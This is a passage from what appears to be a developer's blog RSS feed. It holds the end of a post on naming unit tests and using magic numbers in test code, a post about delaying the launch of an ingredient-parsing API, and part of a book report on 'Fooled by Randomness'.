&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[ FAILED ] TokenizerTests.TestNextToken (6 ms)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Would you know what caused the test to fail? Probably not.&lt;/p>
&lt;p>A failure in &lt;code>TestNextToken&lt;/code> tells you that you screwed up the &lt;code>NextToken()&lt;/code> method, but that&amp;rsquo;s meaningless in a class with a single public method. To diagnose the failure, you&amp;rsquo;d have to read the test&amp;rsquo;s implementation.&lt;/p>
&lt;p>Instead, what if you saw this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[ FAILED ] TokenizerTests.ReturnsNullptrWhenStreamIsEmpty (6 ms)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A function called &lt;code>ReturnsNullptrWhenStreamIsEmpty&lt;/code> would feel overly verbose in other contexts, but it&amp;rsquo;s a good test name. If you saw it break, you&amp;rsquo;d immediately know the class was mishandling empty data streams. You could likely fix the bug without ever reading the test&amp;rsquo;s implementation. That&amp;rsquo;s the mark of a good test name.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Name your tests so well that others can diagnose failures from the name alone.&lt;/strong>
&lt;/div>

&lt;h2 id="embrace-magic-numbers">Embrace magic numbers&lt;/h2>
&lt;p>&amp;ldquo;Don&amp;rsquo;t use magic numbers.&amp;rdquo;&lt;/p>
&lt;p>It&amp;rsquo;s the &amp;ldquo;don&amp;rsquo;t talk to strangers&amp;rdquo; of the programming world. Many skilled developers internalize this lesson so profoundly that they never consider when a magic number might improve their code.&lt;/p>
&lt;p>As a refresher, a &amp;ldquo;magic number&amp;rdquo; is a numeric value or string that appears in code without information about what it represents. Here&amp;rsquo;s an example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>calculate_pay(&lt;span style="color:#3677a9">80&lt;/span>) &lt;span style="color:#999;font-style:italic"># &amp;lt;-- Magic number&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Programmers agree that magic numbers in production code are A Very Bad Thing, so they replace them with named constants like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>HOURS_PER_WEEK = &lt;span style="color:#3677a9">40&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WEEKS_PER_PAY_PERIOD = &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>calculate_pay(hours=HOURS_PER_WEEK * WEEKS_PER_PAY_PERIOD)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Unfortunately, there&amp;rsquo;s a misconception that magic numbers also weaken &lt;em>test&lt;/em> code, but the opposite is true.&lt;/p>
&lt;p>Consider the following test:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_add_hours&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> TEST_STARTING_HOURS = &lt;span style="color:#3677a9">72.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> TEST_HOURS_INCREASE = &lt;span style="color:#3677a9">8.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hours_tracker = BillableHoursTracker(initial_hours=TEST_STARTING_HOURS)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hours_tracker.add_hours(TEST_HOURS_INCREASE)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected_billable_hours = TEST_STARTING_HOURS + TEST_HOURS_INCREASE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(expected_billable_hours, hours_tracker.billable_hours())
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you believe magic numbers are universally evil, the above test looks correct to you. &lt;code>72.0&lt;/code> and &lt;code>8.0&lt;/code> have named constants, so nobody can accuse the test of magic numbers.&lt;/p>
&lt;p>But, just for a moment, suspend your religious beliefs and indulge in the forbidden fruit of magic numbers:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_add_hours&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hours_tracker = BillableHoursTracker(initial_hours=&lt;span style="color:#3677a9">72.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hours_tracker.add_hours(&lt;span style="color:#3677a9">8.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">80.0&lt;/span>, hours_tracker.billable_hours())
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s simpler, with only half as many lines of code. And it&amp;rsquo;s more obvious — the reader doesn&amp;rsquo;t have to bounce around the function tracking names of constants.&lt;/p>
&lt;p>When I see developers define constants in test code, it&amp;rsquo;s usually due to a misguided adherence to DRY or because they&amp;rsquo;re afraid to use magic numbers. However, it&amp;rsquo;s rarely necessary for tests to declare constants, and doing so makes them harder to understand.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Prefer magic numbers to named constants in test code.&lt;/strong>
&lt;/div>

&lt;div class="notice notice-warning">
 &lt;strong>Note&lt;/strong>: It&amp;rsquo;s okay for unit tests to &lt;em>reference&lt;/em> constants that the production code exposes. They just shouldn&amp;rsquo;t define their own.
&lt;/div>

&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>To write excellent tests, a developer must align their engineering decisions with the goals of test code. Most importantly, tests should maximize simplicity while minimizing abstraction. A good test allows the reader to understand intended behavior and diagnose issues without ever leaving the test function.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow&lt;/em>&lt;/p></content:encoded></item><item><title>How I Tricked Myself into Shipping Too Late</title><link>https://mtlynch.io/shipping-too-late/</link><pubDate>Tue, 11 Sep 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/shipping-too-late/</guid><description>&lt;p>Many software founders fail for a simple reason: they ship too late. They spend years developing a product in a vacuum only to see it crumble the first time a real customer touches it.&lt;/p>
&lt;p>The &lt;a href="https://www.indiehackers.com/podcast">Indie Hackers podcast&lt;/a> features many such stories. The show&amp;rsquo;s stated mission is to help listeners learn from the mistakes of startup founders, but host Courtland Allen frequently expresses existential angst about whether this is even possible:&lt;/p></description><content:encoded>&lt;p>Many software founders fail for a simple reason: they ship too late. They spend years developing a product in a vacuum only to see it crumble the first time a real customer touches it.&lt;/p>
&lt;p>The &lt;a href="https://www.indiehackers.com/podcast">Indie Hackers podcast&lt;/a> features many such stories. The show&amp;rsquo;s stated mission is to help listeners learn from the mistakes of startup founders, but host Courtland Allen frequently expresses existential angst about whether this is even possible:&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip;there are things you can tell people over and over again until you’re blue in the face, and they still won’t listen to you or really understand what you’re saying until they go out and discover what you mean the hard way by making their own mistakes.&lt;/p>
&lt;p>-Courtland Allen, &lt;a href="https://www.indiehackers.com/podcast/049-josh-kaufman-of-the-personal-mba">&lt;em>Indie Hackers Podcast&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>I always thought, &amp;ldquo;No, Courtland. That sounds inefficient. I&amp;rsquo;ll take the free lessons and &lt;em>not&lt;/em> make the costly mistakes, thank you.&amp;rdquo;&lt;/p>
&lt;p>From the title of this post, you probably figured out that my plan didn&amp;rsquo;t work.&lt;/p>
&lt;h2 id="the-product-idea">The product idea&lt;/h2>
&lt;p>The idea came to me while I was staring at the ugliest code I had ever written. It was in a &lt;a href="https://recipe-search.isitketo.org">recipe search tool&lt;/a> I created last year. That app never took off but was fun to work on occasionally. There was one corner of the codebase that always plagued me: ingredient parsing.&lt;/p>
&lt;p>Given a string such as &lt;code>&amp;quot;2 cups finely chopped red onions&amp;quot;&lt;/code>, the app had to figure out that &lt;code>2&lt;/code> was the quantity, &lt;code>cups&lt;/code> was the unit of measure, and so on:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/shipping-too-late/parse-example.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/parse-example_hu_1797e17012e717ed.png 300w, https://mtlynch.io/shipping-too-late/parse-example_hu_650cd9a4c52194b9.png 600w, https://mtlynch.io/shipping-too-late/parse-example_hu_9ea0687dc28bd327.png 800w, https://mtlynch.io/shipping-too-late/parse-example.png 1194w'
 src="https://mtlynch.io/shipping-too-late/parse-example.png" alt="Visualization of ingredient parse result" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Breaking an ingredient into its component parts&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Parsing was simple at first but grew more fragile and complex as new edge cases arose. Over time, the logic eroded into a maddening labyrinth of regular expressions — instructions for processing text that are both powerful and famously difficult to read.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/shipping-too-late/regex.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/regex_hu_a304d2d1f206ae37.png 300w, https://mtlynch.io/shipping-too-late/regex_hu_6a5eaf865284fa89.png 600w, https://mtlynch.io/shipping-too-late/regex.png 631w'
 src="https://mtlynch.io/shipping-too-late/regex.png" alt="Screenshot of regex implementation" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Excerpt from my regular expression code&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It was tempting to scrap everything in favor of a machine learning solution, but that would be an enormous undertaking. I couldn&amp;rsquo;t invest months of development into a minor feature on a website that made no money.&lt;/p>
&lt;p>Then, it struck me: what if ingredient parsing &lt;em>was&lt;/em> the business? If this was a problem for me, then surely other developers struggled with it as well. Hopefully, some of them made money and would give some of said money to me if I solved their problem. Thus, the idea was born for &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my ingredient-parsing service.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1252px">



 &lt;a href="https://zestfuldata.com/">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1252px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/zestful-logo_hu_3c79992397530cbb.png 300w, https://mtlynch.io/shipping-too-late/zestful-logo_hu_3cb3e098f1c83d1c.png 600w, https://mtlynch.io/shipping-too-late/zestful-logo_hu_157bdb6d982f537f.png 800w, https://mtlynch.io/shipping-too-late/zestful-logo_hu_6e2d1f7b9a1a4461.png 1200w, https://mtlynch.io/shipping-too-late/zestful-logo.png 1250w'
 src="https://mtlynch.io/shipping-too-late/zestful-logo.png" alt="Zestful logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, a recipe ingredient parsing service&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-mvp-that-wasnt">The MVP that wasn&amp;rsquo;t&lt;/h2>
&lt;p>In the lean startup world, people frequently talk about the &amp;ldquo;MVP,&amp;rdquo; the minimum viable product. The MVP is the simplest version of an idea. You&amp;rsquo;re supposed to build it as soon as possible, put it into potential customers&amp;rsquo; hands, and judge from their reaction whether it solves a real problem.&lt;/p>
&lt;p>One of the most familiar stories of failure is of the founder so confident in their idea that they neglect to build an MVP. Instead, they invest months or years into a full-fledged product that nobody wants.&lt;/p>
&lt;p>With Zestful, I &lt;em>did&lt;/em> build an MVP. I even defined the acceptance criteria up-front to prevent myself from disappearing down a rabbit hole of endless tweaks and improvements.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/shipping-too-late/acceptance-criteria.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/acceptance-criteria_hu_521c333004adce32.png 300w, https://mtlynch.io/shipping-too-late/acceptance-criteria_hu_3d8a5c7707c73e6c.png 600w, https://mtlynch.io/shipping-too-late/acceptance-criteria_hu_9998967abd0ed2f4.png 800w, https://mtlynch.io/shipping-too-late/acceptance-criteria.png 816w'
 src="https://mtlynch.io/shipping-too-late/acceptance-criteria.png" alt="Acceptance criteria document" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Ingredient parser acceptance criteria&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After about 120 hours of development work, my working prototype satisfied the acceptance criteria.&lt;/p>
&lt;p>However, I didn&amp;rsquo;t officially launch for another two months. Instead, I spent that time writing more code.&lt;/p>
&lt;h2 id="its-okay-because-its-sales-coding">It&amp;rsquo;s okay because it&amp;rsquo;s &lt;em>sales&lt;/em> coding&lt;/h2>
&lt;p>You might be wondering how I ended up spinning my wheels for so long after my MVP was &amp;ldquo;done.&amp;rdquo; Well, here&amp;rsquo;s a summary of my thought process throughout those two months:&lt;/p>
&lt;p>&lt;em>Day 1: Acceptance criteria is accomplished&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>The service works! But customers can only use it if they write complex expressions on the command line.&lt;/p>
&lt;p>How can I subject my customers to the indignity of writing &lt;code>curl&lt;/code> commands in the age of Web 3.1? Adding a simple HTML frontend would allow my customers to test the service directly from the browser.&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>5 days later&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>The basic frontend works, but it&amp;rsquo;s strange to have this orphaned HTML form sitting there without any explanation.&lt;/p>
&lt;p>I need to build a website around the form. But it&amp;rsquo;ll be a dead-simple site — just a day of work.&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>4 days later&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>Okay, great! The service has a website.&lt;/p>
&lt;p>&amp;hellip;but the site doesn&amp;rsquo;t have a documentation page explaining each field. I can knock that out this afternoon.&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>2 days later&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>Now, there are so many pages that my navigation bar overflows on mobile devices.&lt;/p>
&lt;p>I&amp;rsquo;ll make my navigation bar responsive. Surely, that will only take an hour with my web framework, Angular.&lt;/p>&lt;/blockquote>
&lt;p>&lt;a href="https://twitter.com/deliberatecoder/status/1011358706108456960">&lt;em>8 days later&amp;hellip;&lt;/em>&lt;/a>&lt;/p>
&lt;p>It was a hydra. Every time I finished adding &amp;ldquo;one more simple thing,&amp;rdquo; two more things popped up that were necessary as a result. Eventually, two months had passed since declaring code complete, and I was baffled that I hadn&amp;rsquo;t shipped anything.&lt;/p>
&lt;h2 id="this-is-critical-but-it-can-wait">This is critical, but it can wait&lt;/h2>
&lt;p>I &lt;strong>needed&lt;/strong> to launch. However, my list of critical tasks was still incomplete. I estimated that they would take five days to finish.&lt;/p>
&lt;p>Then, a funny thing happened. After committing to ship as soon as possible, I realized there was a difference between &amp;ldquo;critical to have&amp;rdquo; and &amp;ldquo;critical for launch.&amp;rdquo;&lt;/p>
&lt;p>One example was my &lt;a href="https://zestfuldata.com/terms-of-service">Terms of Use&lt;/a>. What would happen if I launched without it and wrote it a few days later? At worst, I&amp;rsquo;d have a weak position if a legal dispute arose, but what were the odds of someone suing me within a few days of launch?&lt;/p>
&lt;h2 id="shut-up-and-launch">Shut up and launch&lt;/h2>
&lt;p>For each item on my task list, I asked myself, &amp;ldquo;What happens if I launch without this?&amp;rdquo; After treating each task with the same ruthless skepticism as my Terms of Use, my true launch checklist emerged. Less than 24 hours later, I &lt;a href="https://rapidapi.com/zestfuldata/api/recipe-and-ingredient-analysis">published Zestful to RapidAPI&lt;/a>, an API marketplace. My service was live!&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/shipping-too-late/rapidapi-listing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/rapidapi-listing_hu_a9d5dea482b76ef1.png 300w, https://mtlynch.io/shipping-too-late/rapidapi-listing_hu_a4ff3f44887f0f20.png 600w, https://mtlynch.io/shipping-too-late/rapidapi-listing_hu_85ef69c40eae248c.png 800w, https://mtlynch.io/shipping-too-late/rapidapi-listing.png 1036w'
 src="https://mtlynch.io/shipping-too-late/rapidapi-listing.png" alt="Screenshot of RapidAPI listing" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://rapidapi.com/zestfuldata/api/recipe-and-ingredient-analysis">Zestful listing&lt;/a> on the RapidAPI marketplace&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Now was the moment of truth. My service was ready to accept payment from real customers. I just needed to convince them to buy it.&lt;/p>
&lt;h2 id="did-i-delay-my-launch-to-avoid-rejection">Did I delay my launch to avoid rejection?&lt;/h2>
&lt;p>During my two-month limbo between &amp;ldquo;done&amp;rdquo; and &amp;ldquo;launched,&amp;rdquo; a friend asked if I was afraid to show my product to customers. Were all these tasks delaying my launch just a way of avoiding rejection?&lt;/p>
&lt;p>The thought had occurred to me, but I quickly dismissed it. I used to work in sales, cold-calling customers and hearing &amp;ldquo;no&amp;rdquo; 40 times a day. Rejection didn&amp;rsquo;t scare me.&lt;/p>
&lt;p>On launch day, I sat down to write my first cold pitch: an email to a recipe app developer who didn&amp;rsquo;t know me. I had to explain why they should integrate my ingredient service into their app.&lt;/p>
&lt;p>For half an hour, I stared at the blank screen, struggling to write anything. I had explained my service to friends dozens of times, but this was different. Each time a potential selling point occurred to me, I imagined the customer&amp;rsquo;s harsh rebuttals:&lt;/p>
&lt;blockquote>
&lt;p>Why is that worth the price you&amp;rsquo;re charging?&lt;/p>
&lt;p>How does that increase my profits?&lt;/p>
&lt;p>Why do I need you?&lt;/p>&lt;/blockquote>
&lt;p>Uh oh. I &lt;em>was&lt;/em> afraid of rejection.&lt;/p>
&lt;h2 id="a-different-type-of-rejection">A different type of rejection&lt;/h2>
&lt;p>This wasn&amp;rsquo;t at all like working in sales. That job required me to sell fiber Internet to businesses, but I didn&amp;rsquo;t lay the fiber or design the network. It was easy to take that rejection in stride.&lt;/p>
&lt;p>Now, I was selling something I created. What&amp;rsquo;s more, it was &lt;em>software&lt;/em> I created. Writing software is such a strong part of my identity. There&amp;rsquo;s nothing else I do better or take more pride in. If I showed my product to a customer, they might think, “This isn’t very good. You’re trying to sell it, so you must think it’s good. Therefore, &lt;strong>you&lt;/strong> are not very good.”&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/shipping-too-late/rejection.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/shipping-too-late/rejection_hu_3fba9bcf42470be2.jpg 300w, https://mtlynch.io/shipping-too-late/rejection_hu_9adb64ec9b39a89.jpg 600w, https://mtlynch.io/shipping-too-late/rejection_hu_7492bc09a1aed6e1.jpg 800w, https://mtlynch.io/shipping-too-late/rejection.jpg 1024w'
 src="https://mtlynch.io/shipping-too-late/rejection.jpg" alt="Fear of rejection cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="the-harsh-reality">The harsh reality&lt;/h2>
&lt;p>After dozens of pitches, a few conversations, and zero purchases, it dawned on me that I had become the developer who invested months into a product that customers didn&amp;rsquo;t want.&lt;/p>
&lt;p>Some businesses could use a service like mine, but the ones who needed it most had already rolled their own. The rest agreed that it was a neat service but couldn&amp;rsquo;t justify the expense, even though the service only cost $20/month.&lt;/p>
&lt;p>And that&amp;rsquo;s where I discovered the fatal flaw in my strategy. The most significant cost for my customers wasn&amp;rsquo;t my monthly fee, but rather the cost of modifying their app to integrate my service.&lt;/p>
&lt;p>On top of that, they had to weigh the cost of an additional external dependency. What happens if my service has an outage? Does their app stop working? Or, do they need to build an entire secondary mode of operation for when my service fails?&lt;/p>
&lt;h2 id="i-did-it-backward">I did it backward&lt;/h2>
&lt;p>Looking back, my process was backward. Cold-pitching to customers was my last step, but I should have done it before writing a line of code.&lt;/p>
&lt;p>Early on, I rationalized my decision to build the product first. Customers could say yes to the idea but then never buy the product. I wanted &amp;ldquo;yes&amp;rdquo; to be a real sale, where the customer agreed by purchasing the service.&lt;/p>
&lt;p>While that logic still feels valid, I failed to consider the value of &amp;ldquo;no.&amp;rdquo; If the customer rejects the product at the concept stage, they&amp;rsquo;re not going to change their mind after I build it. If &lt;em>everyone&lt;/em> says no, it&amp;rsquo;s probably a dead end.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>. Illustrations by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>Fooled by Randomness by Nassim Nicholas Taleb</title><link>https://mtlynch.io/book-reports/fooled-by-randomness/</link><pubDate>Tue, 04 Sep 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/fooled-by-randomness/</guid><description>&lt;p>The book contains many interesting examples of common biases and logical fallacies, but it&amp;rsquo;s buried in a lot of bluster and fluff about how smart the author is. While it was likely groundbreaking when it was published in 2004, its ideas have since permeated into the mainstream. Reading it in 2018, the ideas feel neither novel nor original. &lt;a href="https://smile.amazon.com/Thinking-Fast-Slow-Daniel-Kahneman/dp/0374533555/">&lt;em>Thinking Fast and Slow&lt;/em>&lt;/a> covers the same material with more depth and better writing.&lt;/p></description><content:encoded>&lt;p>The book contains many interesting examples of common biases and logical fallacies, but it&amp;rsquo;s buried in a lot of bluster and fluff about how smart the author is. While it was likely groundbreaking when it was published in 2004, its ideas have since permeated into the mainstream. Reading it in 2018, the ideas feel neither novel nor original. &lt;a href="https://smile.amazon.com/Thinking-Fast-Slow-Daniel-Kahneman/dp/0374533555/">&lt;em>Thinking Fast and Slow&lt;/em>&lt;/a> covers the same material with more depth and better writing.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Contains many interesting examples of ways people typically derive meaning from random noise or misapply statistics:
&lt;ul>
&lt;li>e.g., &lt;a href="https://en.wikipedia.org/wiki/Bayes%27_theorem">Bayes&amp;rsquo; Theorem&lt;/a> as &lt;a href="http://sphweb.bumc.bu.edu/otlt/MPH-Modules/BS/BS704_Probability/BS704_Probability6.html">applied to medical testing&lt;/a>&lt;/li>
&lt;li>&amp;ldquo;Dow is up 1.03 on lower interest rates&amp;rdquo; when the percentage change is 0.01%, it&amp;rsquo;s just random noise and can&amp;rsquo;t be tied to a particular cause&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The most smug book I&amp;rsquo;ve ever read.
&lt;ul>
&lt;li>Wastes so many pages mocking financial authors and TV personalities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The author makes a specific point in the preface about how he eschewed the advice of editors and felt validated by the sales of his book, but I noticed many instances that could be improved with editing.
&lt;ul>
&lt;li>I felt like the book succeeded despite editing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The author puts far too much faith into Monte Carlo simulations
&lt;ul>
&lt;li>There are several instances where the author builds his own Monte Carlo simulation of the market, then concludes that a certain trading style is more profitable than another.&lt;/li>
&lt;li>I am highly skeptical that anyone could get meaningful results by attempting to model the behavior of every market participant.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Problem_of_induction">Black swan problem&lt;/a>
&lt;ul>
&lt;li>No matter how many white swans you see, you can never conclude that all swans are white because seeing a single black swan would disprove this.&lt;/li>
&lt;li>People tend to underestimate the probability of black swan events and make themselves vulnerable when such events occur.&lt;/li>
&lt;li>&amp;ldquo;&amp;hellip;it does not matter how frequently something succeeds if failure is too costly to bear.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People tend to be overconfident that events won&amp;rsquo;t occur if they never or rarely occurred in the past.
&lt;ul>
&lt;li>Rare events are by nature unexpected and unpredictable, so lack of predictors for an event doesn&amp;rsquo;t mean that it can&amp;rsquo;t occur.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>More experienced traders tend naturally to be more resistant to rare events.
&lt;ul>
&lt;li>A longer trading lifespan means that they&amp;rsquo;ve likely experienced previous rare events and survived them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sampling rate has a strong effect on satisfaction with an investment strategy.
&lt;ul>
&lt;li>People feel the pain of loss more acutely than the joy of gain.&lt;/li>
&lt;li>Even a profitable investment strategy has periods of losing money due to random fluctuations in the market.&lt;/li>
&lt;li>A person will be overall less happy with their investment strategy if they check it obsessively because they&amp;rsquo;ll observe many losses and gains due to random fluctuations, but the losses will feel more severe than gains.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When people talk about life expectancy being 73, that&amp;rsquo;s the &lt;em>unconditional&lt;/em> life expectancy &lt;em>at birth&lt;/em>.
&lt;ul>
&lt;li>This number is based on the average of the entire population.&lt;/li>
&lt;li>As a person ages, their life expectancy increases based on the fact that they haven&amp;rsquo;t died.&lt;/li>
&lt;li>A 35-year-old&amp;rsquo;s life expectancy is the average lifespan of everyone who survived to at least age 35, not the average lifespan of anyone who was ever born.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When we ask, &amp;ldquo;What are the habits and qualities of successful people?&amp;rdquo; we rarely ask how common those same traits are in &lt;em>unsuccessful&lt;/em> people.
&lt;ul>
&lt;li>e.g., one could conclude that it&amp;rsquo;s a good strategy to buy lottery tickets if one surveyed several lottery winners and recognized that their common trait is purchasing lottery tickets regularly.&lt;/li>
&lt;li>Sometimes successful people are just those who followed a poor strategy but were in the lucky minority for whom it paid off.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Herbert_A._Simon">Herbert Simon&lt;/a> introduced the idea that humans are &lt;a href="https://en.wikipedia.org/wiki/Bounded_rationality">&amp;ldquo;boundedly rational.&amp;rdquo;&lt;/a>.
&lt;ul>
&lt;li>If people were perfectly rational, it would take too long to weigh all factors in a decision.&lt;/li>
&lt;li>Instead humans &amp;ldquo;satisfice&amp;rdquo; (satisfy + suffice) — they stop thinking about a decision when the result is good enough.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People are bad at forecasting events that are abstract.
&lt;ul>
&lt;li>Scenario 1 is abstract but includes Scenario 2. Despite this, people typically assign a higher likelihood to Scenario 2 because it&amp;rsquo;s a more vivid picture.
&lt;ul>
&lt;li>Scenario 1: A massive flood somewhere in North America next year, in which more than 1,000 people drown&lt;/li>
&lt;li>Scenario 2: An earthquake in California sometime next year, causing a flood in which more than 1,000 people drown&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>News media is biased toward &lt;em>stories&lt;/em>
&lt;ul>
&lt;li>News outlets often create stories when none exists because nobody will read/watch if they attribute events to random noise.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://people.umass.edu/biep540w/pdf/Stephen%20Jay%20Gould.pdf">&amp;ldquo;The Median is Not The Message&amp;rdquo;&lt;/a>
&lt;ul>
&lt;li>People put too much faith in means or medians without considering the probability distribution of an event
&lt;ul>
&lt;li>e.g., a person diagnosed with mesothelioma has a median life expectancy of eight months, but a review of the probability distribution reveals that eight months doesn&amp;rsquo;t mean much — many people die soon after a diagnosis, but many also live for decades&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Traders must consider both the probability and magnitude of an event
&lt;ul>
&lt;li>Even if you think a stock has a 95% chance of increasing in value, it can still be worth betting against it if it has a 95% chance of increasing by $1 and a 5% chance of dropping by $30.&lt;/li>
&lt;li>The 5% chance can be even more profitable because markets tend to underestimate the probability of a rare event.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;A mistake is not something to be determined after the fact, but in the light of the information available until that point.&amp;rdquo;&lt;/li>
&lt;li>A possible evolutionary psychology explanation for human biases is that most of human evolution did not require an understanding of probabilities
&lt;ul>
&lt;li>For most of human history, humans consumed a very small amount of information.
&lt;ul>
